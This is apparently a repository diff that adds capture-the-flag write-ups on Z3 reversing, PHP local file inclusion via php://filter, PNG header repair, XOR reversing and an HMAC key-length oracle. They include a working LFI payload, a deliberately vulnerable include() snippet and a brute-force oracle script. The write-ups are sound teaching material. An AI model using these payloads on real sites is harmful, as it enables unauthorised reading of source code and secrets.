We ask Z3 to check if there is a solution (`s.check()`). If it finds one, we extract the values of our flag variables and print them as characters.
|
||||||
|
|
||||||
|
### Final Solver Script
|
||||||
|
|
||||||
|
```python
|
||||||
|
import z3
|
||||||
|
|
||||||
|
s = z3.Solver()
|
||||||
|
|
||||||
|
# 1. Define inputs (32 chars)
|
||||||
|
flag = [z3.BitVec(f'flag_{i}', 32) for i in range(32)]
|
||||||
|
|
||||||
|
# 2. Constrain to Printable ASCII (The only hint we need)
|
||||||
|
for i in range(32):
|
||||||
|
s.add(flag[i] >= 32)
|
||||||
|
s.add(flag[i] <= 126)
|
||||||
|
|
||||||
|
# 3. The Target Values (Extracted from your decompilation)
|
||||||
|
# These correspond to local_158[0] through local_158[31]
|
||||||
|
targets = [
|
||||||
|
0x174, 0x2fe, 0x3dc, 0x30c, 0xfffffe57, 0xffffffc6, 0x28a, 0x23d,
|
||||||
|
0x24d, 0xee, 0x183, 0x124, 0x1e0, 0x19c, 0x1ab, 0x444,
|
||||||
|
0xffffffc8, 0xffffff4c, 0x13c, 0x25e, 0x1fe, 0x18a, 200, 0x82,
|
||||||
|
0x233, 0x2da, 0x36e, 0x3c3, 0x47d, 0x2a4, 0x3b5, 0x209
|
||||||
|
]
|
||||||
|
|
||||||
|
# ---------------------------------------------------------
|
||||||
|
# HELPER FUNCTIONS (The Gears)
|
||||||
|
# We use the Unsigned Logic (0-255) that worked for you before.
|
||||||
|
# ---------------------------------------------------------
|
||||||
|
|
||||||
|
def c_char(x): return x & 0xFF # Treat char as unsigned (0-255)
|
||||||
|
def c_rem(a, b): return z3.SRem(a, b) # Signed Remainder
|
||||||
|
|
||||||
|
def f0(p1): return c_char(p1 ^ 0x55) + 10
|
||||||
|
def f1(p1, p2): return c_rem((p1 + p2), 200)
|
||||||
|
def f2(p1): return p1 * 3 - 20
|
||||||
|
def f3(p1, p2): return (p1 ^ p2) + 5
|
||||||
|
def f4(p1): return (p1 + 10) ^ 0xaa
|
||||||
|
def f5(p1, p2): return (p1 - p2) * 2
|
||||||
|
def f6(p1): return p1 + 100
|
||||||
|
def f7(p1, p2): return (p1 ^ p2) + 12
|
||||||
|
def f8(p1): return (p1 * 2) ^ 0xff
|
||||||
|
def f9(p1, p2): return p2 + p1 - 50
|
||||||
|
def f10(p1): return c_char(p1 ^ 123)
|
||||||
|
def f11(p1, p2): return c_rem((p1 * p2), 500)
|
||||||
|
def f12(p1): return p1 + 1
|
||||||
|
def f13(p1, p2): return (p1 ^ p2) * 2
|
||||||
|
def f14(p1): return p1 - 10
|
||||||
|
def f15(p1, p2): return (p2 + p1) ^ 0x33
|
||||||
|
def f16(p1): return p1 * 4
|
||||||
|
def f17(p1, p2): return (p1 - p2) + 100
|
||||||
|
def f18(p1): return c_char(p1 ^ 0x77)
|
||||||
|
def f19(p1, p2): return c_rem((p1 + p2), 150)
|
||||||
|
def f20(p1): return p1 * 2
|
||||||
|
def f21(p1, p2): return (p1 ^ p2) - 20
|
||||||
|
def f22(p1): return p1 + 33
|
||||||
|
def f23(p1, p2): return (p2 + p1) ^ 0xcc
|
||||||
|
def f24(p1): return p1 - 5
|
||||||
|
def f25(p1, p2): return c_rem((p1 * p2), 300)
|
||||||
|
def f26(p1): return p1 ^ 0x88
|
||||||
|
def f27(p1, p2): return p2 + p1 - 10
|
||||||
|
def f28(p1): return p1 * 3
|
||||||
|
def f29(p1, p2): return (p1 ^ p2) + 44
|
||||||
|
def f30(p1): return p1 + 10
|
||||||
|
def f31(p1, p2): return (p2 + p1) ^ 0x99
|
||||||
|
|
||||||
|
# ---------------------------------------------------------
|
||||||
|
# CALCULATE GEARS
|
||||||
|
# ---------------------------------------------------------
|
||||||
|
gears = [0] * 32
|
||||||
|
gears[0] = f0(flag[0])
|
||||||
|
gears[1] = f1(flag[1], gears[0])
|
||||||
|
gears[2] = f2(flag[2])
|
||||||
|
gears[3] = f3(flag[3], gears[2])
|
||||||
|
gears[4] = f4(flag[4])
|
||||||
|
gears[5] = f5(flag[5], gears[4])
|
||||||
|
gears[6] = f6(flag[6])
|
||||||
|
gears[7] = f7(flag[7], gears[6])
|
||||||
|
gears[8] = f8(flag[8])
|
||||||
|
gears[9] = f9(flag[9], gears[8])
|
||||||
|
gears[10] = f10(flag[10])
|
||||||
|
gears[11] = f11(flag[11], gears[10])
|
||||||
|
gears[12] = f12(flag[12])
|
||||||
|
gears[13] = f13(flag[13], gears[12])
|
||||||
|
gears[14] = f14(flag[14])
|
||||||
|
gears[15] = f15(flag[15], gears[14])
|
||||||
|
gears[16] = f16(flag[16])
|
||||||
|
gears[17] = f17(flag[17], gears[16])
|
||||||
|
gears[18] = f18(flag[18])
|
||||||
|
gears[19] = f19(flag[19], gears[18])
|
||||||
|
gears[20] = f20(flag[20])
|
||||||
|
gears[21] = f21(flag[21], gears[20])
|
||||||
|
gears[22] = f22(flag[22])
|
||||||
|
gears[23] = f23(flag[23], gears[22])
|
||||||
|
gears[24] = f24(flag[24])
|
||||||
|
gears[25] = f25(flag[25], gears[24])
|
||||||
|
gears[26] = f26(flag[26])
|
||||||
|
gears[27] = f27(flag[27], gears[26])
|
||||||
|
gears[28] = f28(flag[28])
|
||||||
|
gears[29] = f29(flag[29], gears[28])
|
||||||
|
gears[30] = f30(flag[30])
|
||||||
|
gears[31] = f31(flag[31], gears[30])
|
||||||
|
|
||||||
|
# ---------------------------------------------------------
|
||||||
|
# ADD CONSTRAINTS (The Chain Link)
|
||||||
|
# Logic: gears[i] + 2 * gears[next] == target[i]
|
||||||
|
# ---------------------------------------------------------
|
||||||
|
for i in range(32):
|
||||||
|
next_idx = (i + 1) % 32
|
||||||
|
s.add((gears[i] + gears[next_idx] * 2) == targets[i])
|
||||||
|
|
||||||
|
# ---------------------------------------------------------
|
||||||
|
# SOLVE
|
||||||
|
# ---------------------------------------------------------
|
||||||
|
print("Solving new unique constraints...")
|
||||||
|
if s.check() == z3.sat:
|
||||||
|
m = s.model()
|
||||||
|
result = ""
|
||||||
|
for i in range(32):
|
||||||
|
result += chr(m[flag[i]].as_long())
|
||||||
|
print("\n[+] FOUND FLAG:", result)
|
||||||
|
else:
|
||||||
|
print("unsat - No solution found.")
|
||||||
|
```
|
||||||
98
the_wrapper.md
Normal file
98
the_wrapper.md
Normal file
@@ -0,0 +1,98 @@
|
|||||||
|
# The Wrapper
|
||||||
|
|
||||||
|
Welcome to the write-up for **The Wrapper**. This is a "web" challenge that explores a classic and powerful vulnerability in PHP applications: **Local File Inclusion (LFI)** using **PHP Wrappers**.
|
||||||
|
|
||||||
|
In this challenge, we have access to a "Language Loader v2.0" that dynamically loads different language files. Our goal is to read the secret contents of `flag.php`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Initial Reconnaissance
|
||||||
|
|
||||||
|
The challenge description says:
|
||||||
|
> "Our development team just launched the new Language Loader v2.0! It features a sleek sidebar and dynamic content loading to support our global users in English, German, and Spanish."
|
||||||
|
|
||||||
|
When we visit the page, we see a sidebar with links like:
|
||||||
|
- `?lang=english.php`
|
||||||
|
- `?lang=german.php`
|
||||||
|
- `?lang=spanish.php`
|
||||||
|
|
||||||
|
When we click these links, the content of the main box changes. This is a strong indicator of dynamic file inclusion.
|
||||||
|
|
||||||
|
## 2. Source Code Analysis
|
||||||
|
|
||||||
|
The challenge provides us with `the_wrapper.tar.xz`. Let's examine `index.php`:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<div class="box">
|
||||||
|
<?php
|
||||||
|
// Default language
|
||||||
|
$file = "english.php";
|
||||||
|
|
||||||
|
if (isset($_GET['lang'])) {
|
||||||
|
$file = $_GET['lang'];
|
||||||
|
}
|
||||||
|
|
||||||
|
include($file);
|
||||||
|
?>
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
This code takes the `lang` parameter directly from the URL and passes it to the PHP `include()` function. This is a classic **Local File Inclusion (LFI)** vulnerability. The application blindly trusts our input and attempts to include and execute any file we specify.
|
||||||
|
|
||||||
|
## 3. The Obstacle: Execution vs. Disclosure
|
||||||
|
|
||||||
|
We know there is a `flag.php` file in the same directory (we saw it in the source code archive). Let's try to include it:
|
||||||
|
`?lang=flag.php`
|
||||||
|
|
||||||
|
The page loads, but the box is empty! Why?
|
||||||
|
Let's look at `flag.php`:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
The file only *defines* a variable called `$flag`; it doesn't *print* it. When we include it via `?lang=flag.php`, PHP executes the code, sets the variable, and that's it. Nothing is displayed on the screen.
|
||||||
|
|
||||||
|
To get the flag, we need to read the **source code** of `flag.php` without executing it.
|
||||||
|
|
||||||
|
## 4. The Vulnerability: PHP Wrappers
|
||||||
|
|
||||||
|
The challenge title "The Wrapper" is a massive hint. PHP has a feature called "Wrappers" that allow you to modify how files are accessed.
|
||||||
|
|
||||||
|
One particularly useful wrapper for LFI is `php://filter`. It allows you to apply filters (like base64 encoding) to a file before it's read or included.
|
||||||
|
|
||||||
|
If we use the `convert.base64-encode` filter, PHP will encode the entire contents of the file as a base64 string and then "include" that string. Since a base64 string isn't valid PHP code, it won't be executed—it will just be printed directly to the page as plain text.
|
||||||
|
|
||||||
|
## 5. Exploitation
|
||||||
|
|
||||||
|
We can craft a payload to leak the source of `flag.php`:
|
||||||
|
|
||||||
|
`?lang=php://filter/convert.base64-encode/resource=flag.php`
|
||||||
|
|
||||||
|
When we visit this URL, the content box will contain a long base64 string:
|
||||||
|
`PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=`
|
||||||
|
|
||||||
|
Now, we just need to decode it:
|
||||||
|
`echo "PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=" | base64 -d`
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
## 6. The Solution
|
||||||
|
|
||||||
|
**Flag:** `{flag:PHP_Wrappers_R_Magic_F0r_LFI}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Lessons Learned
|
||||||
|
|
||||||
|
* **Never trust user input in `include()` or `require()`:** Use a whitelist of allowed files instead of directly passing user-supplied strings.
|
||||||
|
* **PHP Wrappers are powerful:** They can be used to bypass filters, read source code, or even achieve remote code execution (RCE) in some configurations (e.g., `php://input` or `data://`).
|
||||||
|
* **Defense in Depth:** Even if an LFI exists, it's harder to exploit if the server's PHP configuration restricts the use of dangerous wrappers (`allow_url_include = Off`).
|
||||||
|
|
||||||
|
Happy Hacking!
|
||||||
64
tragic_magic.md
Normal file
64
tragic_magic.md
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
# Tragic Magic
|
||||||
|
|
||||||
|
`Tragic Magic` is a forensics challenge involving a corrupted image file. We are provided with a file named `flag.png` and a hint suggesting that the file transfer protocol might have messed up the binary data.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
We start by trying to identify the file type using the `file` command:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file flag.png
|
||||||
|
flag.png: data
|
||||||
|
```
|
||||||
|
|
||||||
|
The `file` command simply says "data", which means it doesn't recognize the file signature (magic bytes).
|
||||||
|
|
||||||
|
## Analysis
|
||||||
|
|
||||||
|
Let's inspect the first few bytes of the file using `xxd`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ xxd -l 16 flag.png
|
||||||
|
00000000: 5550 4e47 4141 1a0a 0000 000d 4948 4452 UPNGAA......IHDR
|
||||||
|
```
|
||||||
|
|
||||||
|
We can clearly see the strings `PNG` and `IHDR` in the ASCII representation. `PNG` is part of the standard file signature, and `IHDR` is the mandatory first chunk of any valid PNG file. This confirms beyond any doubt that the file is intended to be a PNG image.
|
||||||
|
|
||||||
|
However, the "Magic Bytes" (the 8-byte file signature) at the very beginning are incorrect.
|
||||||
|
|
||||||
|
**Valid PNG signature:**
|
||||||
|
`89 50 4E 47 0D 0A 1A 0A` (`.PNG....`)
|
||||||
|
|
||||||
|
**Our file signature:**
|
||||||
|
`55 50 4E 47 41 41 1A 0A` (`UPNGAA..`)
|
||||||
|
|
||||||
|
The signature has been partially corrupted:
|
||||||
|
- `89` became `55` ('U')
|
||||||
|
- `0D 0A` (Windows newline) became `41 41` ('AA')
|
||||||
|
|
||||||
|
This matches the hint about an "optimal ASCII protocol" mangling the binary data.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
We need to repair the file header so image viewers can recognize it.
|
||||||
|
|
||||||
|
1. Open `flag.png` in a hex editor.
|
||||||
|
2. Locate the first 8 bytes.
|
||||||
|
3. Replace them with the standard PNG signature: `89 50 4E 47 0D 0A 1A 0A`.
|
||||||
|
4. Save the file.
|
||||||
|
|
||||||
|
Alternatively, we can use `printf` to overwrite the header via the command line:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
printf "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" | dd of=flag.png bs=1 count=8 conv=notrunc
|
||||||
|
```
|
||||||
|
|
||||||
|
After fixing the header, the file is recognized correctly:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file flag.png
|
||||||
|
flag.png: PNG image data, 1024 x 512, 8-bit/color RGBA, non-interlaced
|
||||||
|
```
|
||||||
|
|
||||||
|
Opening the restored image reveals the flag written in the pixels:
|
||||||
|
`{flag: corrupted_png_header}`
|
||||||
164
twisted.md
Normal file
164
twisted.md
Normal file
@@ -0,0 +1,164 @@
|
|||||||
|
# Twisted
|
||||||
|
|
||||||
|
`twisted` is a reverse engineering challenge where we must recover a flag from a provided binary and an encrypted output string.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
We start by analyzing the file type of the `twisted` binary:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file twisted
|
||||||
|
twisted: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ... stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
The binary is stripped, meaning it lacks debugging symbols like function names. Connecting to the challenge server gives us the encrypted flag:
|
||||||
|
|
||||||
|
```
|
||||||
|
Here is your twisted flag: 34d133c640536c58ffcebb864a836aaf3bc432c3606b331df2d981a472bd6e80
|
||||||
|
```
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
We open the binary in Ghidra to analyze its logic. Since the binary is stripped, we first locate the entry point (`entry`), which calls `__libc_start_main`. The first argument to `__libc_start_main` is the address of the `main` function. Following this path leads us to the function at `0x40190a`, which we rename to `main`.
|
||||||
|
|
||||||
|
### Main Function (`0x40190a`)
|
||||||
|
|
||||||
|
The decompiled code for `main` reveals the expected arguments and basic validation:
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 main(int param_1,long param_2)
|
||||||
|
|
||||||
|
{
|
||||||
|
size_t sVar1;
|
||||||
|
|
||||||
|
if (param_1 < 2) {
|
||||||
|
printf("Usage: %s <flag>\n",*(undefined8 *)(param_2 + 8)); // Usage string at 0x49e081
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
sVar1 = strlen(*(char **)(param_2 + 8));
|
||||||
|
if (sVar1 == 32) {
|
||||||
|
FUN_004017b5(*(undefined8 *)(param_2 + 8));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
printf("Error: Flag must be exactly %d characters long.\n",32); // Error string at 0x49e098
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
From this, we learn that the input flag must be exactly **32 characters** long. If the length is correct, it calls `FUN_004017b5`.
|
||||||
|
|
||||||
|
### Transformation Function (`0x4017b5`)
|
||||||
|
|
||||||
|
We analyze `FUN_004017b5`, which contains the core encryption logic. It performs two distinct operations on the input string.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_004017b5(long param_1)
|
||||||
|
|
||||||
|
{
|
||||||
|
long lVar1;
|
||||||
|
int local_84; // Counter for Loop 1
|
||||||
|
int local_80; // Counter for Loop 2
|
||||||
|
int local_7c; // Counter for Loop 3
|
||||||
|
byte local_70 [32]; // Shuffled Buffer
|
||||||
|
byte local_50 [32]; // Final XOR Buffer
|
||||||
|
byte local_30 [32]; // Input Copy
|
||||||
|
|
||||||
|
// ... Setup and copying input to local_30 ...
|
||||||
|
|
||||||
|
// --- STEP 1: Permutation ---
|
||||||
|
local_84 = 0;
|
||||||
|
while (local_84 < 32) {
|
||||||
|
// Load byte from Permutation Table at 0x49e020
|
||||||
|
// Use it as an index into the input string
|
||||||
|
local_70[local_84] = local_30[(int)(uint)(byte)(&DAT_0049e020)[local_84]];
|
||||||
|
local_84 = local_84 + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- STEP 2: XOR Encryption ---
|
||||||
|
local_80 = 0;
|
||||||
|
while (local_80 < 32) {
|
||||||
|
// XOR the shuffled byte with a Key byte from 0x49e040
|
||||||
|
local_50[local_80] = local_70[local_80] ^ (&DAT_0049e040)[local_80];
|
||||||
|
local_80 = local_80 + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Print Result ---
|
||||||
|
printf("Here is your twisted flag: "); // String at 0x49e060
|
||||||
|
local_7c = 0;
|
||||||
|
while (local_7c < 32) {
|
||||||
|
printf("%02x",(ulong)local_50[local_7c]);
|
||||||
|
local_7c = local_7c + 1;
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The algorithm is:
|
||||||
|
1. **Permutation**: Use the array at `0x49e020` to reorder the input characters.
|
||||||
|
`shuffled[i] = input[PERM[i]]`
|
||||||
|
2. **XOR**: XOR the reordered characters with the array at `0x49e040`.
|
||||||
|
`encrypted[i] = shuffled[i] ^ KEY[i]`
|
||||||
|
|
||||||
|
### Data Extraction
|
||||||
|
|
||||||
|
We inspect the memory at the identified addresses to retrieve the Permutation Table and XOR Key.
|
||||||
|
|
||||||
|
**Permutation Table (`0x49e020`):**
|
||||||
|
Values: `3, 0, 1, 2, 7, 4, 5, 6, 10, 11, 8, 9, 15, 12, 13, 14, 19, 16, 17, 18, 22, 23, 20, 21, 25, 26, 27, 24, 31, 28, 29, 30`
|
||||||
|
|
||||||
|
**XOR Key (`0x49e040`):**
|
||||||
|
Values (Hex): `55, AA, 55, AA, 12, 34, 56, 78, 9A, BC, DE, F0, 0F, F0, 0F, F0, 55, AA, 55, AA, 12, 34, 56, 78, 9A, BC, DE, F0, 0F, F0, 0F, F0`
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
To decrypt the flag `34d133c6...`, we reverse the operations:
|
||||||
|
1. **Reverse XOR**: `shuffled[i] = encrypted[i] ^ KEY[i]`
|
||||||
|
2. **Reverse Permutation**: `input[PERM[i]] = shuffled[i]`
|
||||||
|
|
||||||
|
### Solver Script
|
||||||
|
|
||||||
|
```python
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# Extracted from 0x49e020
|
||||||
|
PERM = [
|
||||||
|
3, 0, 1, 2, 7, 4, 5, 6,
|
||||||
|
10, 11, 8, 9, 15, 12, 13, 14,
|
||||||
|
19, 16, 17, 18, 22, 23, 20, 21,
|
||||||
|
25, 26, 27, 24, 31, 28, 29, 30
|
||||||
|
]
|
||||||
|
|
||||||
|
# Extracted from 0x49e040
|
||||||
|
KEY = [
|
||||||
|
0x55, 0xAA, 0x55, 0xAA, 0x12, 0x34, 0x56, 0x78,
|
||||||
|
0x9A, 0xBC, 0xDE, 0xF0, 0x0F, 0xF0, 0x0F, 0xF0,
|
||||||
|
0x55, 0xAA, 0x55, 0xAA, 0x12, 0x34, 0x56, 0x78,
|
||||||
|
0x9A, 0xBC, 0xDE, 0xF0, 0x0F, 0xF0, 0x0F, 0xF0
|
||||||
|
]
|
||||||
|
|
||||||
|
def solve(hex_string):
|
||||||
|
encrypted_bytes = bytes.fromhex(hex_string)
|
||||||
|
|
||||||
|
if len(encrypted_bytes) != 32:
|
||||||
|
print("Error: Length mismatch")
|
||||||
|
return
|
||||||
|
|
||||||
|
# 1. Reverse XOR
|
||||||
|
shuffled = [0] * 32
|
||||||
|
for i in range(32):
|
||||||
|
shuffled[i] = encrypted_bytes[i] ^ KEY[i]
|
||||||
|
|
||||||
|
# 2. Reverse Permutation
|
||||||
|
original = [0] * 32
|
||||||
|
for i in range(32):
|
||||||
|
target_idx = PERM[i]
|
||||||
|
original[target_idx] = shuffled[i]
|
||||||
|
|
||||||
|
print("Flag: " + "".join(chr(b) for b in original))
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
solve("34d133c640536c58ffcebb864a836aaf3bc432c3606b331df2d981a472bd6e80")
|
||||||
|
```
|
||||||
|
|
||||||
|
Running the script gives us the flag:
|
||||||
|
`{flag: Reverse_Engineer_The_Map}`
|
||||||
129
variable_security.md
Normal file
129
variable_security.md
Normal file
@@ -0,0 +1,129 @@
|
|||||||
|
# Variable Security
|
||||||
|
|
||||||
|
`Variable Security` is a cryptography challenge that exploits a vulnerability in a custom HMAC signing service. The service allows users to generate HMAC-SHA256 signatures for arbitrary messages using a secret key (the flag). Crucially, the service provides a "Key Optimization Level" feature, which lets the user specify how many bytes of the secret key should be used for signing.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
We are presented with a web interface titled "SecureSign Enterprise". It offers a form with two fields:
|
||||||
|
1. **Message Content**: Text input for the message to be signed.
|
||||||
|
2. **Key Optimization Level**: A numeric input specifying the length of the key to use.
|
||||||
|
|
||||||
|
From the challenge description ("We allow clients to adjust the 'Key Optimization' level") and the form field `key_len`, we can infer the backend logic behaves something like this:
|
||||||
|
|
||||||
|
```python
|
||||||
|
# Inferred Logic
|
||||||
|
# key_len comes from user input
|
||||||
|
current_key = SECRET_KEY[:key_len] # Vulnerability: Uses only first N bytes
|
||||||
|
h = hmac.new(current_key, message.encode(), hashlib.sha256)
|
||||||
|
signature = h.hexdigest()
|
||||||
|
```
|
||||||
|
|
||||||
|
The application creates an HMAC signature using a slice of the secret key determined by the user input `key_len`. This allows us to sign messages using only the first $N$ bytes of the flag.
|
||||||
|
|
||||||
|
## The Vulnerability
|
||||||
|
|
||||||
|
This setup creates an **Oracle** that leaks information about the key byte-by-byte. The vulnerability lies in the fact that we can control exactly how much of the unknown key is used in the cryptographic operation. This allows us to break the problem of finding the entire key into finding it one character at a time.
|
||||||
|
|
||||||
|
Here is the strategy:
|
||||||
|
|
||||||
|
**1. Finding the first byte:**
|
||||||
|
We don't know the key, but we can ask the server to sign a message (e.g., "test") using only **1 byte** of the key (`key_len=1`).
|
||||||
|
* The server computes `HMAC(key[0], "test")` and returns the signature.
|
||||||
|
* We can replicate this locally! We try every possible character (A, B, C...) as the key.
|
||||||
|
* We compute `HMAC("A", "test")`, `HMAC("B", "test")`, etc.
|
||||||
|
* When our local signature matches the server's signature, we know we have found the first byte of the secret key.
|
||||||
|
|
||||||
|
**2. Finding the second byte:**
|
||||||
|
Now that we know the first byte (let's say it's `{`), we ask the server to sign "test" using **2 bytes** of the key (`key_len=2`).
|
||||||
|
* The server computes `HMAC("{?", "test")`.
|
||||||
|
* We again brute-force the unknown second character locally. We try `{A`, `{B`, `{C`...
|
||||||
|
* We compute `HMAC("{A", "test")`, `HMAC("{B", "test")`...
|
||||||
|
* The match reveals the second byte.
|
||||||
|
|
||||||
|
**3. Repeat:**
|
||||||
|
We continue this process for `key_len=3`, `key_len=4`, and so on, until we have recovered the entire flag.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
We can write a script to automate this byte-by-byte brute-force attack.
|
||||||
|
|
||||||
|
### Solver Script
|
||||||
|
|
||||||
|
```python
|
||||||
|
import requests
|
||||||
|
import hmac
|
||||||
|
import hashlib
|
||||||
|
import string
|
||||||
|
import re
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
TARGET_URL = "http://127.0.0.1:5000" # Adjust as needed
|
||||||
|
MESSAGE = "test"
|
||||||
|
MAX_LEN = 33 # Maximum length of the flag (inferred or found via trial)
|
||||||
|
|
||||||
|
def get_signature(length):
|
||||||
|
"""Request signature from server with specific key length."""
|
||||||
|
try:
|
||||||
|
resp = requests.post(TARGET_URL, data={'message': MESSAGE, 'key_len': length})
|
||||||
|
# Extract hex signature from HTML response
|
||||||
|
match = re.search(r'([a-f0-9]{64})', resp.text)
|
||||||
|
return match.group(1) if match else None
|
||||||
|
except:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def solve():
|
||||||
|
known_flag = b""
|
||||||
|
print(f"[*] Starting attack on {TARGET_URL}...")
|
||||||
|
|
||||||
|
# Iterate through each byte position
|
||||||
|
for length in range(1, MAX_LEN + 1):
|
||||||
|
# 1. Get the target signature from the server
|
||||||
|
# This signature is generated using the real first 'length' bytes of the flag
|
||||||
|
target_sig = get_signature(length)
|
||||||
|
if not target_sig:
|
||||||
|
print(f"[-] Failed to get signature for length {length}")
|
||||||
|
break
|
||||||
|
|
||||||
|
# 2. Brute-force the next character
|
||||||
|
found = False
|
||||||
|
# Try all printable characters
|
||||||
|
for char_code in string.printable.encode():
|
||||||
|
char = bytes([char_code])
|
||||||
|
|
||||||
|
# Construct our guess: The part we already know + the new character we are testing
|
||||||
|
candidate_key = known_flag + char
|
||||||
|
|
||||||
|
# Calculate HMAC locally using our guess
|
||||||
|
local_sig = hmac.new(candidate_key, MESSAGE.encode(), hashlib.sha256).hexdigest()
|
||||||
|
|
||||||
|
# If the signatures match, our guess for the new character is correct
|
||||||
|
if local_sig == target_sig:
|
||||||
|
known_flag += char
|
||||||
|
print(f"[+] Byte {length}: {char.decode()} -> {known_flag.decode()}")
|
||||||
|
found = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if not found:
|
||||||
|
print("[-] Character not found in printable range.")
|
||||||
|
break
|
||||||
|
|
||||||
|
print(f"\n[!] Final Flag: {known_flag.decode()}")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
solve()
|
||||||
|
```
|
||||||
|
|
||||||
|
### Execution
|
||||||
|
|
||||||
|
Running the script recovers the flag character by character:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ python3 solve.py
|
||||||
|
[*] Starting attack on http://127.0.0.1:5000...
|
||||||
|
[+] Byte 1: { -> {
|
||||||
|
[+] Byte 2: f -> {f
|
||||||
|
[+] Byte 3: l -> {fl
|
||||||
|
...
|
||||||
|
[+] Byte 32: } -> {flag: byte_by_byte_we_get_rich}
|
||||||
|
[!] Final Flag: {flag: byte_by_byte_we_get_rich}
|
||||||
|
```
|
||||||
Reference in New Issue
Block a user